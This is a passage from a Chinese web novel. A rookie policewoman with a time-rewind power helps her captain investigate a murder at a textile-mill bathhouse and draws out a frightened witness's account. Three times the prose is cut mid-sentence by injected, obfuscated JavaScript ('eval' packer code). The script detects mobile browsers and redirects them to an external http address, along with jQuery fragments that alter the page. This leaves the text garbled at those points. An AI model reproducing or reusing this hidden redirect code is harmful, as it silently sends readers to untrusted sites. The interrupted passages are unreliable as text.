杜晓棠认真地记下,又追问了几句细节,因为专注,不自觉地微微歪着头,笔尖抵着下巴,一副努力思考的认真模样,问话间隙,她忍不住偷偷透过人群缝隙,看向浴室里面。 何亦寻正半跪在湿漉漉的地上,侧着头,借助张建国打着的手电光,极其专注地观察着尸体旁边排水沟的铁栅栏缝隙。他的侧脸线条在昏暗光线下显得格外冷硬,但那种全神贯注、不放过任何细微之处的神情,却莫名给人一种可靠的感觉。 杜晓棠看得有些出神,眼神里带着点不易察觉的依赖和崇拜,直到保卫科的干部叫她,才慌忙收回视线,像是做坏事被抓包一样。 初步勘查持续了将近两个小时,结束后,何亦寻吩咐派出所民警和保卫科保护好现场,等待技术科进一步处理,然后带着张建国和杜晓棠往回走。 回去的路上,三人都很沉默。 张建国在默默整理刚才的记录和初步判断,何亦寻目视前方,眉头微锁,显然在思考案情。 杜晓棠则抱着笔记本,脑子里乱糟糟的,既有对命案的本能恐惧,又有一种参与其中的紧张兴奋,同时,身体深处那股被回档透支后的虚弱感再次清晰地浮现出来,让她觉得脚步格外沉重,午后的阳光晒在身上,竟有些发冷。 她偷偷瞄了一眼身旁的何亦寻,他走得很稳,背脊挺直,似乎完全不受命案现场那种压抑气氛的影响。 这个人……好像永远都这么冷静,这么……可靠,虽然看起来很凶。 就在这时,何亦寻忽然毫无预兆地放缓了脚步,侧过头,目光落在杜晓棠依旧没什么血色的脸上、微微泛青的眼圈和那个还没来得及完全收回去的、带着泪花的哈欠上。 他的视线在她那副明显强撑着的、可怜兮兮又有点呆气的模样上停留了两秒,就在杜晓棠以为又要听到什么“效率”或者“沉稳”的批评时,他却只是对张建国淡淡地说了一句: “老张,让她下午休息,脸色差成这样,别案子没破,人先倒下了。” 说完,他便转回头,继续迈步向前,仿佛只是随口安排了一件微不足道的小事。 杜晓棠猛地愣住,抱着笔记本的手指下意识地收紧,眼睛眨了眨,有些不敢相信自己听到了什么。 他……他注意到了? 4. 回档第四天 张建国连忙点头:“哎,好的何队,小杜啊,听见没?何队特批,下午回家好好睡一觉,缓缓劲。” 杜晓棠还想挣扎一下,表示自己可以坚持,但刚一张嘴,就忍不住打了个小小的哈欠,眼泪汪汪的样子看起来毫无说服力,她只好蔫头耷脑地应了声:“哦……谢谢何队,谢谢师傅。” 她慢吞吞地收拾好自己的东西,把那本写满了潦草记录的笔记本小心翼翼塞进帆布包,一步三晃地走出了公安局大门。 午后的阳光暖洋洋地照在身上,驱散了一些从浴室带回来的阴冷气息,她深吸了一口街上混杂着烟火气的生活味道,这才感觉真正放松下来,疲惫感如同潮水般更汹涌地袭来。 凭着身体原主的记忆,她拐进一条条熟悉的胡同,走到了一个红砖墙围着的家属院门口。 院子里晾着不少衣服,几个老人坐在树下聊天,看到她穿着警服进来,都笑着打招呼:“晓棠回来啦?哟,这脸色咋这么白?工作辛苦吧?” “哎,王奶奶,李阿姨……没事,就是有点累……”杜晓棠努力挤出笑容回应,脚步虚浮地走到一栋筒子楼前,爬上三楼,用钥匙打开了靠西边的一扇门。 门一开,一股浓郁诱人的肉香味立刻扑面而来,钻进鼻腔,霸道地唤醒了她疲惫的感官。 “爸?我回来了。”她有气无力地喊了一声,习惯性地先找爸爸,果然,系着花色围裙的杜父杜卫东正从厨房探出半个身子,手里还拿着炒勺。 “棠棠回来了?哎呦!我的心肝宝贝,这是咋了?”杜卫东一看女儿小脸煞白、摇摇欲坠的样子,立刻心疼得不得了,赶紧放下勺子几步跨过来,围着她团团转,“第一天上班就累成这样?快坐下快坐下!我给你炖了红枣鸡汤在灶上煨着,正好,赶紧喝一碗补补气血!” 杜卫东是个身材微胖、面容和善的中年男人,在国营饭店当大厨,一手好菜远近闻名,此刻他看着女儿的样子,眉头皱得能夹死苍蝇,满眼都是心疼。 杜晓棠被按在客厅的旧沙发里,杜卫东风风火火地去盛汤,她环顾这个不大却充满生活气息的家,客厅收拾得干净整洁,墙上挂着几张奖状——有杜父“先进工作者”的,也有她自己的毕业证书。 靠墙的五斗柜上摆着一个相框,里面是穿着白大褂、笑容温婉的母亲和系着围裙、搂着年幼的她的父亲。 “妈还没回来?”杜晓棠捧着爸爸塞过来的、热气腾腾的鸡汤碗,小口吹着气。 “没呢,你妈她们医院今天好像有个什么疑难病例讨论会,估计又得晚。”杜卫东坐在旁边的小凳子上,眼睛一眨不眨地看着女儿喝汤,“慢点慢点,烫!跟爸说说,咋累成这样?是不是有人欺负你了?”他那架势,仿佛只要女儿点个头,他就能立刻抄起炒勺去找人算账。 杜晓棠心里暖乎乎的,摇摇头:“没,没人欺负我,就是……跟师傅出现场了,一个案子,有点……耗神。”她含糊地解释,没敢细说命案的事,怕吓着爸爸。 “哦,出现场啊。”杜卫东似懂非懂,但看女儿不想多说,也就不追问,只是又起身去厨房,“耗神更得补!等着,爸再给你炒个猪肝,补血快!” 杜晓棠看着爸爸在厨房里忙碌的背影,听着那熟悉的、富有节奏感的切菜和翻炒声,闻着空气中越来越浓郁的饭菜香气,紧绷的神经终于一点点松弛下来。她甚至没来得及多想案情和回档的事,就在这令人安心的氛围和疲惫的双重作用下,捧着鸡汤碗,歪在沙发里沉沉睡了过去。 这一觉睡得天昏地暗,直到感觉有人在轻轻拍她的脸,才迷迷糊糊地醒来。 睁开眼,看到母亲林静医生不知何时回来了,正坐在沙发边,脸上带着些许疲惫,但眼神关切,她身上还带着一股淡淡的消毒水味。 “棠棠,醒醒,怎么在沙发上就睡着了?吃饭了。”林静的声音温和,带着医生特有的冷静和细致,她伸手摸了摸女儿的额头,“脸色是不太好,有点虚脱,今天遇到什么特殊情况了?” 杜晓棠揉着眼睛坐起来,发现身上盖着毯子,爸爸已经摆满了一桌子菜:红枣鸡汤、爆炒猪肝、清蒸鲈鱼、还有她最爱的红烧肉,油汪汪、红亮亮的,香气扑鼻。 “妈,你回来了……没事,就是有点累。”杜晓棠对着妈妈,同样不敢细说,只是含糊道。 林静仔细看了看她的气色和眼神,作为医生的直觉让她觉得女儿不仅仅是累,更像是受了某种刺激后的精神萎靡,但她没有立刻追问,只是点点头:“先吃饭。吃完饭如果还不舒服,跟我说。” 饭桌上,杜卫东不停地给女儿夹菜,堆得她碗里像座小山。“多吃点多吃点!瞧我闺女瘦的!当警察体力消耗大,营养必须跟上!明天爸给你带饭盒,保证比你们食堂强十倍!” 林静则吃得比较慢,偶尔问几句局里的情况,同事好不好相处,师傅人怎么样,语气平和,像是在做日常问诊,她敏锐地察觉到女儿在提到“出现场”时眼神有一瞬间的闪烁和回避,心里便大致有了猜测,但面上不显,只是默默地把一块挑干净刺的鱼肉放到女儿碗里。 这种无声的关怀和家庭特有的温暖氛围,极大地抚慰了杜晓棠初涉命案带来的不适和紧张,她胃口开了不少,就着爸爸的好菜吃了两大碗米饭。 晚上洗漱后,杜晓棠躺在床上,虽然脑子里还是会闪过白天的片段,但在家这个绝对安全的港湾里,听着隔壁父母压低声音的交谈,她最终睡得还算踏实。 母亲林静临睡前还特意进来给她掖了掖被角,手指再次轻柔地探了探她的额头才离开。 第二天一早,杜晓棠被厨房传来的动静和香味唤醒,她感觉自己满血复活了,精神抖擞地爬起来,餐桌上已经摆好了金黄的煎蛋、热气腾腾的豆浆和松软的大馒头。 “爸,早!” “哎!宝贝闺女醒啦!快吃快吃!吃饱了才有力气抓坏蛋!”杜卫东笑呵呵地,又塞给她一个铝制饭盒,“拿着,午饭!爸给你做了糖醋里脊和米饭,还有俩卤蛋!保证让你们同事都馋哭!” 杜晓棠心里又暖又想笑,抱着沉甸甸的饭盒,感觉充满了力量。 赶到局里,发现气氛有些不同,办公室里人不多,张建国师傅正在快速整理一个旧的军用挎包,往里面塞着笔记本、手电筒什么的。 “师傅早!”杜晓棠声音响亮地打招呼,脸颊红润,眼睛亮晶晶的。 “早,小杜,休息好了?脸色好看多了,这才对嘛。”张建国抬头看到她,笑了笑,但手上动作没停。 “嗯!好了!师傅,这是要出去?”杜晓棠眼睛一亮,敏锐地察觉到有任务。 “对,去纺织厂,何队他们已经先过去一步了,让我回来拿点东西,顺便叫上你一起。”张建国拉上挎包拉链,“走吧,今天得深入排查一下昨晚那案子的人际关系和时间线。” “是!”杜晓棠立刻挺直腰板,心中一阵激动,能继续参与案子,太好了! 两人骑上自行车,很快再次来到纺织厂。 厂里的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448648|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛比昨天更加凝重,工人们三三两两聚在一起低声议论着,看到他们进来,都投来好奇和略带敬畏的目光。 何亦寻正和厂保卫科的干部以及车间主任在一间临时腾出来的办公室里说话,他依旧穿着那身笔挺的警服,身姿挺拔,面色冷峻,手指间夹着一支烟,但没有点燃,只是无意识地转动着。 看到张建国和杜晓棠进来,他微微颔首,目光在杜晓棠恢复红润、甚至比昨天更显活力的脸上停留了一瞬,便继续听取汇报。 “……李秀英那个小组长,平时是挺要强,和王娟是有过争执,但要说杀人……不像她能干出来的事。”车间主任搓着手,显得有些紧张,“昨晚下班后,她说她直接回家了,家里人可以作证。我们查了考勤,最后离开车间的是另外几个人,也都核对了时间,好像……没什么问题。” “浴室看守的老刘头说,昨晚锁门前确实清场了,没发现异常。”保卫科长补充道,“就是……就是发现尸体的那个女工吓得够呛,今天都没来上班。” 何亦寻沉默地听着,手指停止转动香烟,目光扫过在场的人:“所有昨晚最后离开车间、以及声称在那个时间段使用过浴室或者附近区域的人,无论有无明确证人,都需要逐一重新询问,交叉核对时间点和细节,特别是时间线上有模糊地带的。” 他的声音不高,却带着一种不容置疑的力量。 “是,是,我们一定配合,全力配合!”厂领导连忙表态。 很快,询问工作再次展开。 杜晓棠跟着张建国,负责记录和协助,她这次学乖了,努力让自己显得更沉稳,仔细听着每一个被询问者的回答,观察他们的神态动作。 大部分女工都显得有些紧张和害怕,回答也中规中矩,问到那个和李秀英竞争先进的生产小组长时,对方情绪有些激动,反复强调自己和王娟只是工作上的小矛盾,绝不可能害人,并且坚称自己昨晚下班就回家了,有邻居可以作证。 询问间隙,杜晓棠注意到何亦寻并没有一直待在办公室里,他独自一人又去了一趟女浴室附近,虽然现场还封锁着,但他只是在周围慢慢地踱步,目光锐利地扫视着地面、墙壁、甚至远处的窗户和堆放的杂物,像是在脑海中重构昨晚可能发生的一切。 他的专注和耐心,让杜晓棠暗暗佩服。 当她跟着张建国询问完一个女工,从临时询问室出来时,正好看到何亦寻从浴室那边走回来,他的目光掠过她,忽然开口,声音平淡:“杜晓棠。” “到!”杜晓棠立刻站直。 “你去一趟第一车间,找一下他们的考勤员,把昨天下午到晚上所有进出车间人员的原始签到记录,连同他们班组自己记的流水账,一起拿过来。”何亦寻吩咐道,“注意核对两份记录的时间是否有出入。” “是!”杜晓棠接到任务,立刻转身小跑着去了,她感觉到何队似乎是在有意识地让她接触更多基础但关键的取证环节。 看着杜晓棠跑远的背影,张建国走到何亦寻身边,低声说:“这丫头,恢复得挺快,劲头足,也挺细心。” 何亦寻的目光从杜晓棠的背影收回,望着远处厂房上空飘散的棉絮,淡淡地“嗯”了一声,过了两秒,才几不可闻地补充了一句:“……是块材料。” 他的语气依旧没什么起伏,但那份轻微的认可,却让熟悉他的张建国微微笑了笑。 何亦寻的视线再次投向那排平房宿舍和女浴室的方向,眉头微锁,似乎在思考着什么。 5. 回档第五天 杜晓棠拿着从第一车间取来的考勤记录和班组流水账,快步走在纺织厂略显嘈杂的厂区里,她边走边翻看着,试图找出何亦寻所说的“时间出入”。 车间的大签到本记录的是工人进出车间大门的时间,而班组自己的流水账则更细致,记录了每个人开始和结束操作机台、交接班的大致时间点。 乍一看,似乎没什么问题,最后几个离开的人时间都对得上。 但她想起何亦寻那双锐利的眼睛和强调“细节”的语气,不敢怠慢,找了个路边的石凳坐下,拿出笔记本和笔,开始逐行仔细比对。 阳光透过稀疏的树叶洒在纸页上,空气中飘着棉絮和机油的味道。 杜晓棠看得眼睛发酸,手指点着一个个名字和时间,嘴里无声地念念有词。 突然,她的手指停住了。 一个叫孙梅的女工,在车间大本的签到记录上,离开时间是下午五点四十分,与最后一批下班的人一致。但在她们班组的流水账备注里,却有一行小字写着:“孙梅机台故障,协助维修,约晚十分离岗。” 十分钟? 杜晓棠的心跳微微加速。 浴室案发的预估时间就在下夜班后不久,这十分钟的差异,如果利用得好,足够一个人做很多事情了,而且这个孙梅,在之前的初步询问中,似乎并没有被特别关注,她的说辞也很普通,就是下班直接回家了。 她立刻站起身,拿着两份记录,小跑着赶回临时办公室。 办公室里,何亦寻正听着张建国汇报另一个女工的询问情况,眉头微锁,似乎没有太大进展。 “何队!师傅!”杜晓棠有些气喘,但眼睛发亮,将两份记录递到何亦寻面前,“我发现一个情况!一车间的孙梅,考勤记录和班组记录离开时间有出入,差了大概十分钟!” 何亦寻立刻接过记录,目光迅速扫过她指出的地方,张建国也凑过来看。 “孙梅?”张建国回忆了一下,“之前问过她,她说下班就直接走了,没提维修机台晚走的事。” 何亦寻的手指在那行小字上敲了敲,抬眼看向杜晓棠,眼神里有一丝极淡的、几乎难以察觉的赞许:“很好,这个发现很重要。”他随即对张建国说,“老张,立刻再去找孙梅,重点询问她这十分钟在哪里,做了什么,有没有证人,语气注意策略。” “明白!”张建国立刻起身出去了。 杜晓棠心里一阵激动,像是考试蒙对了大题,她忍不住咧开嘴笑了笑,露出一点小得意,但很快又意识到场合,赶紧抿住嘴,努力做出严肃的样子。 何亦寻将她的表情变化尽收眼底,没说什么,只是将记录还给她:“整理一下,作为疑点标注出来。” “是!”杜晓棠接过记录,宝贝似的抱在怀里。 然而,十几分钟后,张建国回来了,脸色却有些无奈。 “何队,问过了,孙梅承认晚走了十分钟,说是帮同组的刘丽萍修了下机台,修完两人一起走的,刘丽萍也证实了,说是一起出的车间门,还一起去车棚推了自行车,时间对得上,好像……没什么问题。”张建国叹了口气,“白高兴一场。” 杜晓棠脸上的笑容瞬间僵住,像是被泼了一盆冷水,刚刚的兴奋和得意消失得无影无踪,肩膀也垮了下来,她低下头,看着手里的记录,那行她以为发现了关键的小字,此刻显得格外刺眼。 原来……是空欢喜一场,自己还是太嫩了,抓到一点不一样的就以为是线索。 何亦寻的表情没什么变化,似乎对这个结果并不意外,他看了一眼瞬间蔫了下去、像颗被晒瘪了的小白菜似的杜晓棠,目光在她耷拉的脑袋,和无意识抠着笔记本边缘的手指上停留了一瞬。 “没关系。”他开口,声音依旧是平的,“排查就是这样,十次落空,能有一次抓住要害就是成功,继续。” 他的语气没有安慰,只是陈述事实,却奇异地让杜晓棠心里的沮丧减轻了一些。 她抬起头,正好对上何亦寻看过来的目光。那目光深沉而平静,没有责怪,也没有失望,反而像是一种无声的肯定——肯定她发现疑点的行为本身。 杜晓棠深吸一口气,重新打起精神:“是,何队!” 接下来的询问排查进展缓慢而枯燥。 一个个人员被叫来问话,时间线反复核对,但似乎每个人都有一套看似合理的说辞,或者有模糊但无法证伪的不在场证明,空气中弥漫着一种胶着的沉闷感。 杜晓棠负责记录,写得手腕发酸,她看着何亦寻始终冷静地提问、倾听、分析,偶尔提出一个关键问题,打破对方的心理防线,但大多数时候,得到的答案依旧让人失望。 她心里那股执拗的劲头又慢慢冒了出来。 不行,不能就这么僵持下去。 那个孙梅的时间差,虽然被解释了,但她总觉得哪里有点别扭……为什么班组记录写了,她自己最初却没主动提起? 如果……如果能再问一次,换个方式,或者更注意观察她的表情…… 这个念头一旦升起,就像藤蔓一样缠绕住她的思绪。 她偷偷看了一眼正在询问另一个工人的何亦寻,又看了看窗外渐渐西斜的太阳。 咬咬牙,心念集中。 那个熟悉的、半透明的蓝色面板再次悄无声息地浮现在她眼前。 【检测到宿主强烈探究与不甘情绪……是否开启回档?目标时间点:45分钟前。】 【是/否】 45分钟前,正是她刚刚发现时间差异,兴奋地跑回来汇报的时候。 杜晓棠几乎没有犹豫,她要知道孙梅到底有没有隐瞒! 指尖在虚空中重重一点。 轻微的眩晕感袭来。 周围的景象再次如同水波般晃动、扭曲…… “……我发现一个情况!一车间的孙梅,考勤记录和班组记录离开时间有出入,差了大概十分钟!” 杜晓棠的声音再次响起,带着压抑不住的兴奋,将两份记录递到何亦寻面前。 何亦寻接过记录,目光迅速扫过,同样给出了“很好,这个发现很重要”的评价,并让张建国去重点询问。 一切仿佛按下了重复键。 但这一次,当张建国领命出去后,杜晓棠没有像上次一样傻等着结果,她深吸一口气,对何亦寻说:“何队,我……我想跟师傅一起去听听可以吗?学习一下怎么问话。” 何亦寻抬眼看她,似乎有些意外,但并没有反对,只是淡淡颔首:“可以,多看,少说。” “是!” 杜晓棠立刻小跑着追上了张建国。 张建国见她跟来,笑了笑:“也好,多学学。” 两人找到孙梅。 孙梅是个看起来三十多岁、面相老实巴交的女工,手指粗糙,穿着洗得发白的工装,面对询问,她显得有些紧张,但回答和上一次几乎一模一样:帮刘丽萍修机台,一起走的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448649|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 张建国问了几句,没发现破绽,似乎打算结束了。 杜晓棠心里着急,她紧紧盯着孙梅的表情,忽然注意到,当张建国问及“修完机台后有没有立刻离开”时,孙梅的眼角几不可查地抽搐了一下,手下意识地捏紧了衣角。 “孙大姐,”杜晓棠忍不住开口,声音因为紧张有点发干,但努力让自己显得镇定,“您帮忙修机台,真是热心肠。那之后您和刘大姐是一起直接去的车棚吗?路上有没有遇到别人?或者……有没有顺便去趟厕所什么的?” 她问得有些磕巴,甚至有点词不达意,但重点却歪打正着地戳向了时间利用的可能性。 孙梅显然没料到这个看起来像个学生娃的小女警会突然追问这个细节,愣了一下,眼神闪过一丝不易察觉的慌乱,下意识地避开了杜晓棠的目光:“没、没有啊……就直接去车棚了……没遇到谁……” 她的语气比刚才回答张建国时明显多了一丝迟疑和不确定。 张建国是老刑警,立刻敏锐地捕捉到了这细微的变化和杜晓棠问话带来的效果,他不动声色地接过话头,语气放缓,却带着更大的压力:“孙梅同志,请你再仔细回忆一下,这十分钟非常关键。任何细节都可能帮助我们破案,也能帮你彻底澄清嫌疑。你们修完机台,离开车间,到车棚取车,这中间有没有哪怕一两分钟的分开?或者,你有没有看到什么异常的人或事?” 在两人看似平和却步步紧逼的追问下,孙梅的额头渗出了细汗,手指绞得更紧了,她心理防线似乎出现了裂缝,最终支支吾吾地承认:“……其实……我……我修完机台,肚子有点不舒服,让刘丽萍先去推车,我……我去旁边那个废料堆后面的厕所解了个手……就一两分钟,很快的!我没看到什么可疑的人!真的!” 废料堆后面的厕所,那地方相对偏僻,而且离女浴室的方向更近! 张建国和杜晓棠对视一眼,都看到了对方眼中的亮光。 虽然孙梅极力否认看到可疑的人,但这个新的时间线和地点,无疑提供了一个全新的、极其重要的调查方向! 再次回到临时办公室,张建国汇报了新的发现,语气带着兴奋。 何亦寻认真听着,目光偶尔扫过站在张建国身后、眼睛亮晶晶、脸颊因为激动而微微泛红的杜晓棠。 他的目光在她脸上停留的时间比平时略长了一瞬,他注意到,她似乎比刚才……更疲惫一些?眼底下有极淡的阴影,但精神却异常亢奋。 这种细微的矛盾感,结合她突然主动要求跟进询问、并且似乎起到了关键作用的行为,让他深邃的眼眸中掠过一丝极淡的、难以捕捉的疑虑。 但他什么也没问,只是对张建国点点头:“很好。重点排查那个废料堆厕所附近,询问所有可能在那个时间段经过附近的人,调集人手,仔细搜查那片区域,不要放过任何痕迹。” 他的语气依旧平稳,却带着一种即将揭开迷雾的笃定。 下达完指令,他端起桌上那个已经凉了的搪瓷茶缸,递向杜晓棠,动作自然得仿佛只是随手传递一件工具。 “拿着,去技术科那边,把现场提取到的指纹初步比对报告拿过来。”他的语气没有任何起伏,甚至没有看她。 杜晓棠愣了一下,赶紧接过凉冰冰的茶缸:“是,何队!”她抱着茶缸,转身又小跑着出去了。 看着她瞬间又充满电、跑得飞快的背影,何亦寻的指尖在桌面上无意识地轻轻敲击了两下。 6. 回档第六天 技术科位于公安局主楼后面一栋相对安静的独立平房里。 杜晓棠抱着那个凉冰冰的搪瓷茶缸,小跑着穿过院子,空气中飘散着淡淡的化学试剂和旧纸张的味道。 推开技术科办公室的门,里面比外面更显安静,只有一台老式吊扇在头顶慢悠悠转动发出的嗡嗡声,两个穿着白大褂的技术员正伏案工作,一个在显微镜前观察着什么,另一个在纸上记录数据。 “同志,您好,何队让我来取纺织厂浴室案的指纹初步比对报告。”杜晓棠喘匀了气,声音尽量放轻,生怕打扰了这里的安静。 离门近的那个年轻技术员抬起头,推了推眼镜,从桌上的一摞文件中翻找了一下,抽出一份薄薄的报告递给她:“初步结果出来了,现场提取到的几枚清晰指纹,和死者以及发现尸体的女工核对过了,基本排除,和目前重点排查的几个对象初步对比,也没有匹配上的,还得等更详细的排查名单和更多样本。” 杜晓棠的心微微沉了一下,没有匹配?难道方向错了?她接过报告,道了谢,小心地拿在手里。 返回纺织厂的路上,她一边骑车一边忍不住翻看那份报告,报告用语专业而简洁,结论确实指向暂无明确嫌疑人。 阳光照在纸面上,有些晃眼。 当她回到临时办公室时,发现气氛比刚才凝重了许多。 何亦寻站在窗前,背对着门口,身姿依旧挺拔,但周身的气压似乎更低了些,张建国坐在桌边,眉头紧锁,面前的烟灰缸里多了几个烟头。 “何队,师傅,报告拿回来了。”杜晓棠将报告放在桌上,声音不自觉地放低了些。 何亦闻声转过身,拿起报告快速浏览,脸色没有任何变化,但眼神似乎更冷冽了几分,他将报告递给张建国:“技术科初步结果,指纹没有匹配,和我们这边排查的情况吻合。” 张建国叹了口气,狠狠吸了口烟:“妈的,白忙活?孙梅那边的新线索,我们也派人去废料堆和厕所附近查了,问了一圈,没人看到可疑的人,那片地方偏,下班后确实没什么人经过,搜了一圈,也没发现什么有价值的痕迹。难道这十分钟的缺口,真的就只是上了个厕所?” 案件似乎再次陷入了僵局。那种沉闷压抑的感觉重新笼罩下来。 杜晓棠站在一旁,心里也跟着着急,她不甘心地回想孙梅当时被追问出上厕所时那慌乱的表情……那不像完全是假的,一定还有什么被忽略了! 她忍不住开口,声音带着一丝急切:“何队,师傅,孙梅她……她承认去厕所时的反应很不对劲,我觉得她可能还知道些什么,或者……她去的途中看到了什么但不敢说?” 何亦寻的目光转向她,深邃的眼眸看不出情绪,但并没有打断她。 张建国掐灭烟头,摇摇头:“我们也怀疑过,反复问了,她一口咬死就是肚子疼,什么都没看见,吓得要命,问急了就哭,也不好再逼太紧。” 杜晓棠抿紧了嘴唇,那种强烈的、想要扭转局面的冲动再次涌上心头,如果……如果能再问一次孙梅,在她心理防线最松动的时候,用不同的方式…… 这个念头一旦产生,就变得难以遏制,她偷偷看了一眼墙上的挂钟,计算着时间。 何亦寻的视线似乎无意中扫过她微微攥紧的拳头,和那双因为不甘而格外明亮的眼睛,他沉默地转过身,再次望向窗外,只留下一个冷峻而莫测的背影。 杜晓棠深吸一口气,心念再次集中。 【检测到宿主情绪……是否开启回档?目标时间点:01小时25分钟前。】 【是/否】 指尖在虚空中坚定地点下。 轻微的眩晕…… 眼前的景象如同水波般晃动、扭曲,随即重新稳定。 杜晓棠发现自己正坐在纺织厂路边的那张石凳上,手里还拿着那两份考勤记录和班组流水账。 午后的阳光依旧透过稀疏的树叶洒在纸页上,空气里还是那股棉絮和机油的味道。 时间回到了她刚刚发现孙梅时间差异,还没来得及向何队汇报的时候。 心脏猛地一跳,巨大的机会感攥紧了她。 这一次,她掌握了“未来”的信息,知道直接汇报会陷入僵局,知道孙梅一定有所隐瞒! 她立刻站起身,没有像上次一样兴奋地跑回去汇报,而是深吸一口气,抱着记录本,快步但沉稳地走向临时办公室。 办公室里,何亦寻正听着张建国汇报另一个女工的询问情况,眉头微锁,似乎没有太大进展。 “何队,师傅,”杜晓棠的声音比上次平静了许多,但带着一种异常的笃定,她将两份记录递到何亦寻面前,“我发现一个情况,一车间的孙梅,考勤记录和班组记录离开时间有出入,差了大概十分钟,而且,我觉得她可能对此有所隐瞒,建议立刻重点询问她这十分钟的具体行踪,特别是……她可能听到或感觉到了什么异常。” 何亦寻有些意外地抬眼看了看她,接过记录,目光迅速扫过她指出的地方,她不仅指出了差异,还直接给出了询问方向和可能性?这种敏锐和果断不像个新人。 张建国也凑过来看,惊讶道:“哟!这细节……之前还真没注意!小杜,可以啊!” 何亦寻的手指在那行小字上敲了敲,再次抬眼看向杜晓棠,眼神里带着一丝审视,但更多的是对她迅速抓住重点并给出建设性意见的评估,他点点头:“很好,这个发现很重要。老张,立刻再去找孙梅,重点询问她这十分钟在哪里,做了什么,特别注意她是否听到或察觉到任何异常。注意问话方式。” “明白!”张建国立刻起身出去了。 杜晓棠心里松了口气,第一步成功了,但她知道光这样还不够。她看向何亦寻,语气恳切但坚定:“何队,我……我想跟师傅一起去听听可以吗?学习一下怎么问话,也许……也许能注意到别的细节。”她必须亲自参与,才能知道问题到底出在哪。 何亦寻深邃的目光在她脸上停留了几秒,似乎想从她异常积极和笃定的神情里看出些什么,但最终只是公事公办地颔首:“可以,多看,少说。” “是!” 杜晓棠立刻小跑着追上了张建国。 张建国见她跟来,笑了笑:“也好,多学学。” 两人找到孙梅,孙梅是个看起来三十多岁、面相老实巴交的女工,手指粗糙,穿着洗得发白的工装,面对询问,她显得有些紧张,回答和上一次几乎一模一样:帮刘丽萍修机台,一起走的。 张建国按照常规问了几句,孙梅对答如流,眼看又要陷入僵局。 杜晓棠心里着急,但她记住了何亦寻“多看少说”的指示,没有贸然插嘴,而是紧紧盯着孙梅的表情。 当张建国问及“修完机台后有没有立刻离开”时,她再次捕捉到了孙梅眼角那几不可查的抽搐和捏紧衣角的小动作。 就是现在! 她看向张建国,用眼神示意了一下孙梅的手。 张建国是老刑侦,立刻心领神会,语气放缓,但压力倍增:“孙梅同志,请你再仔细回忆一下,这十分钟非常关键。任何细节都可能帮助我们破案,也能帮你彻底澄清嫌疑,你们修完机台,离开车间,到车棚取车,这中间有没有哪怕一两分钟的分开?或者,你有没有听到、感觉到什么不寻常的事情?” 在张建国施加的压力和杜晓棠那双仿佛能看透人心的明亮眼睛的注视下,孙梅的额头渗出了细汗,手指绞得更紧了,她心理防线似乎出现了裂缝。 杜晓棠看准时机,用一种尽量温和、带着点同情的语气开口:“孙大姐,您别紧张。我们知道您害怕,但您提供的任何一点信息,都可能抓住坏人,避免再有人受害,您仔细想想,去厕所的路上……是不是……听到了什么特别的声音?或者……感觉到……有什么人……在附近?” 这个问题角度刁钻,避开了“看见”这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448650|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个可能让孙梅坚决否认的点,转向了更容易被忽略的听觉和直觉。 孙梅的身体猛地抖了一下,脸色瞬间变得惨白,嘴唇哆嗦着,眼神里充满了惊恐,手下意识地捂住了耳朵,仿佛想要屏蔽掉某种可怕的回忆。 她这个剧烈的反应,几乎等于承认了! 张建国经验老道,立刻趁热打铁:“孙梅同志!听到什么必须说出来!这可能是破案的关键!说出来就是对死者最大的帮助,也能保护你自己和其他人!公安局会保护你的安全!” 在两人默契的配合和心理攻势下,孙梅的心理防线终于彻底崩溃,她“哇”地一声哭了出来,断断续续、充满恐惧地说道:“我……我听见了……听见女浴室那边……好像有……有挣扎的声音……还有……好像是什么东西掉地上的闷响……我、我害怕极了……没敢看……赶紧跑、跑回大路了……” 挣扎声!物品掉落声! 虽然孙梅因为害怕没敢去看,但这条听觉线索,直接将案发时间和地点更精确地锁定在了那关键的几分钟和女浴室附近!与之前的推断形成了强有力的印证! 获取了这条关键信息后,杜晓棠跟着激动不已的张建国快步赶回办公室汇报。 当她再次站在何亦寻面前时,何亦寻看她的眼神,与之前有些不同了。 那不再是单纯的审视或疑惑,而是多了一丝难以言喻的探究和……一种深沉的考量,他的目光在她因为兴奋而微微泛红的脸颊和亮得惊人的眼睛上停留了片刻。 她不仅发现了关键差异,还主动要求参与询问,并在过程中似乎起到了意想不到的推动作用?这种敏锐和切入点的把握,不像是个纯粹的新手。 张建国丝毫没有察觉到两人之间微妙的气氛,兴奋地汇报着孙梅提供的关键线索,顺便夸了一句:“何队,小杜这丫头可以啊!心细,问话也挺有窍门,刚才要不是她换个角度问,还真不一定能撬开孙梅的嘴!” 